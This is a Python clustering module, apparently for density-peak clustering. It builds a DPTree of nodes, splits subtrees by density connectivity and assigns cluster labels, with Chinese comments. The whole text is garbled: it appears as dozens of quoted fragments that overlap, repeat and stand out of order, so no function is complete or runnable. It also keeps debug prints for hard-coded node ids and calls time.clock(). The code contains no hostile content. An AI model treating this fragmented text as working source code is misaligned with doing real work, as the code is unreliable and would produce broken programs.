"= np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点",
"#* 添加根节点的树 return outlier_forest, cluster_forest, uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node:",
"self.parent_id = parent_id self.dist_to_parent = dist_to_parent self.density = density self.children",
"True else: return False def getOffspringNum(self): return self.offspring_num def getLvl(self):",
"in siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue",
"= closest_dis_denser[node_id] density = local_density[node_id] if(node_created[node_id]==0): node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id]",
"offspring_idlist return offspring_idlist offspring_idlist = fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist) + other_idlist)",
"as plt import time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps: density_connectivity 阈值",
"in offspring_id: removed_node = self.node_dir.pop(i) new_tree.node_dir[i] = removed_node pass new_tree.node_count",
"# parent_lvl = parent_node.getLvl() # cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None): parent_node.setLvl(0) #*",
"cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] = label label = label +",
"def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id = node_id self.attr_list = attr_list self.parent_id =",
"connected_nodes_index: pairs_nodes.append([i,j]) pass pass if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten())",
"in offspring_two: tmp_dist = np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist = tmp_dist pass",
"lvl def getAttr(self): return self.attr_list def getNodeId(self): return self.node_id def",
"for i in tree.node_dir: # pass self.root_node = node_dir[sorted_gamma_index[0]] self.node_dir",
"parent_node.parent_id # pass #* 更新 self.node_dir, 生成新树: new_tree = DPTree()",
"return: 邻近的点对 所有邻近点 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one])",
"非根节点 parent_node.addChild(node_id) # parent_lvl = parent_node.getLvl() # cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None):",
"pass return [] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签 考虑不确定点的分配 ''' labels",
"dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0: connected_nodes",
"<filename>ADPTC_LIB/DPTree_ST.py<gh_stars>0 #%% import numpy as np import copy import matplotlib.pyplot",
"if(child_num==0): return 0 for i in node.children: cur_offsprings = self.calcu_subtree_offspring_num(i)",
"Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id = node_id self.attr_list = attr_list self.parent_id",
"children = parent_node.getChildren() siblings_reliable = [ i for i in",
"is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数: offspring_id =",
"all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label = -1 else: cur_label",
"list(offspring_idlist) + children for i in children: child_offspring_idlist = fn_get_subtree_offspring_id(i,[])",
"dist_to_parent self.density = density self.children = children self.gamma = gamma",
"new_tree.root_node = new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离",
"np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最大相似距离 2. 大于相似距离阈值的点集",
"#* 只有一个点的情况返回 0 if(entropy==0): return 0 return entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id):",
"node_id in siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id):",
"node_id == 123593): print(node_id) if node_id in tree.sorted_gamma_index[0:10]: cluster_forest[node_id] =",
"def setOffspringNum(self,num): self.offspring_num = num def setLvl(self,lvl): self.lvl = lvl",
"所有邻近点 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two =",
"node_id in tree.sorted_gamma_index[0:10]: cluster_forest[node_id] = tree.remove_subtree(node_id) continue node = tree.node_dir[node_id]",
"cur_offsprings child_num = len(node.children) if(child_num==0): return 0 for i in",
"pass label = 0 for tree_id in cluster_forest: cluster_tree =",
"= closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的 attr_list = X[node_id] dist_to_parent = closest_dis_denser[node_id]",
"= len(node.children) if(child_num==0): return 0 for i in node.children: cur_offsprings",
"1. 更新 self.node_dir, self.node_count 2. 更新 node_id 节点的 children[], 以及所有父级offspring_num",
"def getAttr(self): return self.attr_list def getNodeId(self): return self.node_id def getParentId(self):",
"offspring_idlist= list(offspring_idlist) + child_offspring_idlist pass self.node_offspring[node_id] = offspring_idlist return offspring_idlist",
"calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最短距离 2. 小于距离阈值的点集 ''' connected_nodes",
"def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最大相似距离 2. 大于相似距离阈值的点集 '''",
"= X[node_id] dist_to_parent = closest_dis_denser[node_id] density = local_density[node_id] if(node_created[node_id]==0): node",
"pass return dist, np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点 return: 邻近的点对",
"as np import copy import matplotlib.pyplot as plt import time",
"= {} node_created = np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index = sorted_gamma_index for i",
"X[node_id] dist_to_parent = closest_dis_denser[node_id] density = local_density[node_id] if(node_created[node_id]==0): node =",
"return new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最短距离 2.",
"return self.density def getGamma(self): return self.gamma def getChildren(self): return self.children",
"calcu_subtree_offspring_num(self,node_id): node = self.node_dir[node_id] cur_offsprings = node.getOffspringNum() if(cur_offsprings!=None): return cur_offsprings",
"siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0:",
"def getOffspringNum(self): return self.offspring_num def getLvl(self): return self.lvl class DPTree():",
"节点的 children[], 以及所有父级offspring_num 3. 生成新树 ''' # print(\"删除子节点:\",child_id) offspring_id =",
"self.node_count = len(sorted_gamma_index) pass def printTree2(self,parent_id,spaceStr=''): for node_id in self.node_dir:",
"# pass #* 更新 self.node_dir, 生成新树: new_tree = DPTree() for",
"np.full((node_num),-1,dtype=np.int32) for outlier_id in outlier_forest: outlier_tree = outlier_forest[outlier_id] outlier_idlist =",
"dist = -1 for i in offspring_two: tmp_dist = np.max(dist_mat[i][offspring_one])",
"if(tmp_dist>=dist): dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0:",
"循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #* 1. if(len(reliable_nodes)==0): return [] for reliable_node_id",
"pass else: outlier_forest[node_id] = tree.remove_subtree(node_id) pass pass pass end =",
"#* 根据 gamma 顺序新建节点 node_dir = {} node_created = np.zeros(len(sorted_gamma_index))",
"def calcu_subtree_offspring_num(self,node_id): node = self.node_dir[node_id] cur_offsprings = node.getOffspringNum() if(cur_offsprings!=None): return",
"') pass def calcu_subtree_offspring_num(self,node_id): node = self.node_dir[node_id] cur_offsprings = node.getOffspringNum()",
"if(len(pairs_nodes)>0): return pairs_nodes # pass return [] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): '''",
"pass else: cluster_forest[node_id] = tree.remove_subtree(node_id) pass pass else: outlier_forest[node_id] =",
"= -1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回 0 if(entropy==0): return 0 return entropy/(-1*np.log2(1/(len(offspring_id))))",
"for node_id in self.node_dir: if(node_id==self.root_node.node_id): continue node = self.node_dir[node_id] if(node.parent_id==parent_id):",
"def remove_subtree(self,child_id): ''' 删除 node_id 节点的子树:child_id, 被删除的子树形成新的树并返回 1. 更新 self.node_dir,",
"self.node_offspring[i] = child_offspring_idlist offspring_idlist= list(offspring_idlist) + child_offspring_idlist pass self.node_offspring[node_id] =",
"生成新树 ''' # print(\"删除子节点:\",child_id) offspring_id = self.get_subtree_offspring_id(child_id,[child_id]) offspring_len = len(offspring_id)",
"density = local_density[node_id] if(node_created[node_id]==0): node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] = 1",
"cluster_tree = cluster_forest[tree_id] cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] = label label",
"= label + 1 pass #todo 修改此处代码 for uncertain_tree_id in",
"!= parent_id):#* 非根节点 parent_node.addChild(node_id) # parent_lvl = parent_node.getLvl() # cur_node.setLvl(parent_lvl+1)",
"# cur_id = parent_id # parent_id = parent_node.parent_id # pass",
"depth): node = self.node_dir[node_id] parent_id = node.parent_id if(node_id==parent_id): return depth",
"or node_id==61589 or node_id == 123593): print(node_id) if node_id in",
"= offspring_idlist return offspring_idlist offspring_idlist = fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist) +",
"#* 模拟栈结构,层次深的先处理 start = time.clock() while(len(not_direct_reach)>0): #* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id",
"def setParentId(self,parent_id): self.parent_id = parent_id def setOffspringNum(self,num): self.offspring_num = num",
"parent_id = closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的 attr_list = X[node_id] dist_to_parent =",
"self.node_count-offspring_len #* 删除存储的子孙节点 if(node_id in self.node_offspring.keys()): for node_to_delete in offspring_id:",
"= self.node_count-offspring_len #* 删除存储的子孙节点 if(node_id in self.node_offspring.keys()): for node_to_delete in",
"[] def setParentId(self,parent_id): self.parent_id = parent_id def setOffspringNum(self,num): self.offspring_num =",
"if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id = parent_id # parent_id =",
"offspring_two: tmp_dist = np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist = tmp_dist pass connected_nodes_index",
"fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] = child_offspring_idlist offspring_idlist= list(offspring_idlist) + child_offspring_idlist pass self.node_offspring[node_id]",
"node_id self.attr_list = attr_list self.parent_id = parent_id self.dist_to_parent = dist_to_parent",
"child_num = len(children) if(child_num==0): self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist=",
"offspring_idlist= list(offspring_idlist) + children for i in children: child_offspring_idlist =",
"self.lvl = lvl def getAttr(self): return self.attr_list def getNodeId(self): return",
"= None pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据 gamma 顺序新建节点 node_dir",
"mixin_near_matrix[uncertain_nodes_id] all_near_nodes = np.unique(all_near_nodes) all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label",
"''' 计算两个子树间的连通距离 return: 1. 最大相似距离 2. 大于相似距离阈值的点集 ''' connected_nodes =",
"node_to_delete in offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass pass # cur_id =",
"for uncertain_tree_id in uncertain_forest: uncertain_tree = uncertain_forest[uncertain_tree_id] uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id])",
"tree.remove_subtree(node_id) pass pass pass end = time.clock() print('切割树耗时 %s' %",
"k in range(len(closest_denser_nodes_id)): near_nodes = mixin_near_matrix[k] if closest_denser_nodes_id[k] not in",
"#* 将不直接距离可达的点按层次排列: # not_direct_reach = np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for i",
"DPTree; ''' class Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id = node_id self.attr_list",
"tree.remove_subtree(node_id) pass pass else: outlier_forest[node_id] = tree.remove_subtree(node_id) pass pass pass",
"= self.node_dir[node_id] node.removeChild(child_id) self.node_count = self.node_count-offspring_len #* 删除存储的子孙节点 if(node_id in",
"判断 cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #*",
"return True else: return False def getOffspringNum(self): return self.offspring_num def",
"= outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] = -1 pass label = 0 for",
"1 pass #todo 修改此处代码 for uncertain_tree_id in uncertain_forest: uncertain_tree =",
"unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label = -1 else: cur_label = unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label",
"[] for i in offspring_two: connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0:",
"= self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes = [] for i",
"node_created[node_id] = 1 node_dir[node_id] = node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node =",
"if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离",
"for i in range(len(not_reliable_nodes)): pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes",
"parent_id = node_id # #* 设置父级 offspring_num: # while(cur_id!=parent_id): #",
"= parent_node.getChildren() siblings_reliable = [ i for i in children",
"self.sorted_gamma_index = None pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据 gamma 顺序新建节点",
"uncertain_forest = {} not_direct_reach = [] #* 计算不可直接可达的点: for k",
"offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = float('inf') for i in offspring_two:",
"parent_node.setLvl(0) #* 设置节点层次信息 # for i in tree.node_dir: # pass",
"= [ i for i in children if i not",
"np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列: # not_direct_reach = np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for",
"= 1 node_dir[node_id] = node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[])",
"1 node_dir[parent_id] = parent_node parent_node = node_dir[parent_id] cur_node = node_dir[node_id]",
"parent_node = self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id =",
"children[], 以及所有父级offspring_num 3. 生成新树 ''' # print(\"删除子节点:\",child_id) offspring_id = self.get_subtree_offspring_id(child_id,[child_id])",
"cur_id = child_id # parent_id = node_id # #* 设置父级",
"cluster_forest = {} uncertain_forest = {} not_direct_reach = [] #*",
"= num def setLvl(self,lvl): self.lvl = lvl def getAttr(self): return",
"self.gamma def getChildren(self): return self.children def hasChildren(self,child_id): if child_id in",
"in uncertain_nodes_id: all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id]) pass # all_near_nodes = mixin_near_matrix[uncertain_nodes_id]",
"p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy = -1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回 0 if(entropy==0):",
"= tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue # return pairs_nodes cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id])",
"np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes pass #* 2. for i in",
"def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1. 判断",
"= np.unique(all_near_nodes) all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label = -1",
"self.node_offspring.keys()): return self.node_offspring[node_id] else: node = self.node_dir[node_id] children = node.getChildren()",
"offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = -1 for i in offspring_two:",
"return self.parent_id def getDistToParent(self): return self.dist_to_parent def getDensity(self): return self.density",
"= [] for i in offspring_two: connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one) if",
"node_dir[node_id] = node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] =",
"range(len(sorted_gamma_index)): node_id = sorted_gamma_index[i] parent_id = closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的 attr_list",
"if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def",
"是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #* 1. if(len(reliable_nodes)==0): return []",
"np.append(all_near_nodes,mixin_near_matrix[node_id]) pass # all_near_nodes = mixin_near_matrix[uncertain_nodes_id] all_near_nodes = np.unique(all_near_nodes) all_near_nodes",
"printTree2(self,parent_id,spaceStr=''): for node_id in self.node_dir: if(node_id==self.root_node.node_id): continue node = self.node_dir[node_id]",
"# depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach =",
"= node_id # #* 设置父级 offspring_num: # while(cur_id!=parent_id): # parent_node",
"= -1 for i in offspring_two: tmp_dist = np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist):",
"all_near_nodes = mixin_near_matrix[uncertain_nodes_id] all_near_nodes = np.unique(all_near_nodes) all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True)",
"pass def calcu_subtree_offspring_num(self,node_id): node = self.node_dir[node_id] cur_offsprings = node.getOffspringNum() if(cur_offsprings!=None):",
"uncertain_forest[node_id] = tree.remove_subtree(node_id) pass else: cluster_forest[node_id] = tree.remove_subtree(node_id) pass pass",
"in children if i not in not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes",
"获取所有子孙的node_id 考虑:是否需要存储在node属性中。 ''' def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in self.node_offspring.keys()): return self.node_offspring[node_id]",
"copy import matplotlib.pyplot as plt import time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): '''",
"list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理 start = time.clock() while(len(not_direct_reach)>0): #* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度",
"= np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes pass #*",
"''' def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in self.node_offspring.keys()): return self.node_offspring[node_id] else: node",
"outlier_forest: outlier_tree = outlier_forest[outlier_id] outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] = -1",
"not_direct_reach = np.array(not_direct_reach) # not_direct_reach = np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列: #",
"np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes pass #* 2.",
"def resetChildren(self): self.children = [] def setParentId(self,parent_id): self.parent_id = parent_id",
"getAttr(self): return self.attr_list def getNodeId(self): return self.node_id def getParentId(self): return",
"self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id = parent_id #",
"''' 给森林中的样本点贴标签 考虑不确定点的分配 ''' labels = np.full((node_num),-1,dtype=np.int32) for outlier_id in",
"node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] = 1 node_dir[node_id] = node node_dir[node_id].setParentId(parent_id)",
"while(len(not_direct_reach)>0): #* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id = not_direct_reach.pop() if(node_id==129193 or node_id==61589",
"all_near_nodes = np.unique(all_near_nodes) all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label =",
"#todo 修改此处代码 for uncertain_tree_id in uncertain_forest: uncertain_tree = uncertain_forest[uncertain_tree_id] uncertain_nodes_id",
"if(len(counts)==0): cur_label = -1 else: cur_label = unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass",
"labels[outlier_idlist] = -1 pass label = 0 for tree_id in",
"if len(connected_nodes_index)>0: for j in connected_nodes_index: pairs_nodes.append([i,j]) pass pass if(len(pairs_nodes)==0):",
"local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix)",
"pass core_points = cluster_forest.keys() return labels,core_points ''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree;",
"in self.children: return True else: return False def getOffspringNum(self): return",
"local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes if(len(pairs_nodes)==0):",
"node = self.node_dir[node_id] cur_offsprings = node.getOffspringNum() if(cur_offsprings!=None): return cur_offsprings child_num",
"= mixin_near_matrix[k] if closest_denser_nodes_id[k] not in near_nodes: not_direct_reach.append(k) pass not_direct_reach",
"self.parent_id = parent_id def setOffspringNum(self,num): self.offspring_num = num def setLvl(self,lvl):",
"= attr_list self.parent_id = parent_id self.dist_to_parent = dist_to_parent self.density =",
"children if i not in siblings_reliable] if node_id in not_reliable_nodes:",
"closest_dis_denser[node_id] density = local_density[node_id] if(node_created[node_id]==0): node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] =",
"self.node_offspring = {} self.sorted_gamma_index = None pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #*",
"= np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0]",
"if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] = tree.remove_subtree(node_id) pass else: cluster_forest[node_id] = tree.remove_subtree(node_id) pass",
"= cluster_forest.keys() return labels,core_points ''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; ''' class",
"判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id = not_direct_reach.pop() if(node_id==129193 or node_id==61589 or node_id",
"np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes = []",
"if(node_id==129193 or node_id==61589 or node_id == 123593): print(node_id) if node_id",
"getDensity(self): return self.density def getGamma(self): return self.gamma def getChildren(self): return",
"self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist = fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist)",
"node_id # #* 设置父级 offspring_num: # while(cur_id!=parent_id): # parent_node =",
"生成新树: new_tree = DPTree() for i in offspring_id: removed_node =",
"修改此处代码 for uncertain_tree_id in uncertain_forest: uncertain_tree = uncertain_forest[uncertain_tree_id] uncertain_nodes_id =",
"uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes = np.array([],dtype=np.int32) for node_id in uncertain_nodes_id: all_near_nodes =",
"not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理 start = time.clock() while(len(not_direct_reach)>0): #*",
"np.array(not_direct_reach) # not_direct_reach = np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列: # not_direct_reach =",
"#* 1. if(len(reliable_nodes)==0): return [] for reliable_node_id in reliable_nodes: pairs_nodes,",
"cur_label = unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass core_points = cluster_forest.keys() return labels,core_points",
"tree.remove_subtree(node_id) continue node = tree.node_dir[node_id] parent_id = node.parent_id parent_node =",
"parent_node = tree.node_dir[parent_id] children = parent_node.getChildren() siblings_reliable = [ i",
"offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes = [] for",
"node_id in not_reliable_nodes: not_reliable_nodes.remove(node_id) if node_id in siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes",
"self.get_subtree_offspring_id(child_id,[child_id]) offspring_len = len(offspring_id) node_id = self.node_dir[child_id].parent_id node = self.node_dir[node_id]",
"# pass return [] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签 考虑不确定点的分配 '''",
"in self.node_offspring.keys()): return self.node_offspring[node_id] else: node = self.node_dir[node_id] children =",
"= {} self.root_node = None self.node_offspring = {} self.sorted_gamma_index =",
"local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes pass",
"-1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回 0 if(entropy==0): return 0 return entropy/(-1*np.log2(1/(len(offspring_id)))) def",
"parent_id def setOffspringNum(self,num): self.offspring_num = num def setLvl(self,lvl): self.lvl =",
"= self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = float('inf') for i",
"pass if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): '''",
"for i in children: child_offspring_idlist = fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] = child_offspring_idlist",
"pass end = time.clock() print('切割树耗时 %s' % str(end - start))",
"pass not_direct_reach = np.array(not_direct_reach) # not_direct_reach = np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列:",
"len(sorted_gamma_index) pass def printTree2(self,parent_id,spaceStr=''): for node_id in self.node_dir: if(node_id==self.root_node.node_id): continue",
"考虑:是否需要存储在node属性中。 ''' def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in self.node_offspring.keys()): return self.node_offspring[node_id] else:",
